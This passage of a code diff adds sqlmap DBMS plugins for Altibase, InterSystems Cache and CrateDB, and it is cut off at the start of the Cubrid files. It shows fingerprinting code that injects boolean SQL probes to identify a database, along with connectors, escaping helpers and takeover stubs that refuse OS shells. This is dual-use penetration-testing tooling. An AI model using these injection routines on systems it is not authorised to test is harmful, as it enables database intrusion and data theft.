if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES):
|
||||||
|
setDbms(DBMS.ALTIBASE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.ALTIBASE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
# Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228
|
||||||
|
result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.ALTIBASE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.ALTIBASE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.convert import getOrds
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def escaper(value):
|
||||||
|
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||||
|
|
||||||
|
return Syntax._escape(expression, quote, escaper)
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Altibase it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Altibase it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Altibase it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Altibase it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
Vendored
+30
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CACHE_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cache.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cache.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cache.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cache.syntax import Syntax
|
||||||
|
from plugins.dbms.cache.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Cache methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CACHE_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CACHE] = Syntax.escape
|
||||||
Vendored
+77
@@ -0,0 +1,77 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import jaydebeapi
|
||||||
|
import jpype
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lib.core.common import checkFile
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
|
||||||
|
User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html
|
||||||
|
API: -
|
||||||
|
Debian package: -
|
||||||
|
License: LGPL & Apache License 2.0
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
try:
|
||||||
|
msg = "please enter the location of 'cachejdbc.jar'? "
|
||||||
|
jar = readInput(msg)
|
||||||
|
checkFile(jar)
|
||||||
|
args = "-Djava.class.path=%s" % jar
|
||||||
|
jvm_path = jpype.getDefaultJVMPath()
|
||||||
|
jpype.startJVM(jvm_path, args)
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
try:
|
||||||
|
driver = 'com.intersys.jdbc.CacheDriver'
|
||||||
|
connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db)
|
||||||
|
self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except Exception as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
retVal = True
|
||||||
|
except Exception as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
Vendored
+48
@@ -0,0 +1,48 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.settings import CACHE_DEFAULT_SCHEMA
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getCurrentDb(self):
|
||||||
|
return CACHE_DEFAULT_SCHEMA
|
||||||
|
|
||||||
|
def getUsers(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the users"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Cache it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
Vendored
+11
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
Vendored
+113
@@ -0,0 +1,113 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
|
from lib.core.common import hashDBWrite
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CACHE)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||||
|
|
||||||
|
if fork is None:
|
||||||
|
if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"):
|
||||||
|
fork = FORK.IRIS
|
||||||
|
else:
|
||||||
|
fork = ""
|
||||||
|
|
||||||
|
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
|
||||||
|
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CACHE
|
||||||
|
if fork:
|
||||||
|
value += " (%s fork)" % fork
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
if fork:
|
||||||
|
value += "\n%sfork fingerprint: %s" % (blank, fork)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES):
|
||||||
|
setDbms(DBMS.CACHE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CACHE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CACHE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CACHE)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
Vendored
+23
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.convert import getOrds
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> from lib.core.common import Backend
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def escaper(value):
|
||||||
|
return "||".join("CHAR(%d)" % _ for _ in getOrds(value))
|
||||||
|
|
||||||
|
return Syntax._escape(expression, quote, escaper)
|
||||||
Vendored
+28
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Cache it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Cache it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Cache it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Cache it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CRATEDB_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cratedb.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cratedb.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cratedb.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cratedb.syntax import Syntax
|
||||||
|
from plugins.dbms.cratedb.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines CrateDB methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CRATEDB_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CRATEDB] = Syntax.escape
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import psycopg2
|
||||||
|
import psycopg2.extensions
|
||||||
|
psycopg2.extensions.register_type(psycopg2.extensions.UNICODE)
|
||||||
|
psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: http://initd.org/psycopg/
|
||||||
|
User guide: http://initd.org/psycopg/docs/
|
||||||
|
API: http://initd.org/psycopg/docs/genindex.html
|
||||||
|
Debian package: python-psycopg2
|
||||||
|
License: GPL
|
||||||
|
|
||||||
|
Possible connectors: http://wiki.python.org/moin/PostgreSQL
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port)
|
||||||
|
except psycopg2.OperationalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.set_client_encoding('UNICODE')
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except psycopg2.ProgrammingError as ex:
|
||||||
|
logger.warn(getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
retVal = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
retVal = True
|
||||||
|
except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex:
|
||||||
|
logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip())
|
||||||
|
except psycopg2.InternalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
retVal = None
|
||||||
|
|
||||||
|
if self.execute(query):
|
||||||
|
retVal = self.fetchall()
|
||||||
|
|
||||||
|
return retVal
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on CrateDB it is not possible to enumerate the user password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on CrateDB it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CRATEDB)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CRATEDB
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES):
|
||||||
|
setDbms(DBMS.CRATEDB)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CRATEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CRATEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("1~1")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CRATEDB)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on CrateDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CUBRID_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cubrid.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cubrid.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cubrid.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cubrid.syntax import Syntax
|
||||||
|
from plugins.dbms.cubrid.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Cubrid methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CUBRID_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CUBRID] = Syntax.escape
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
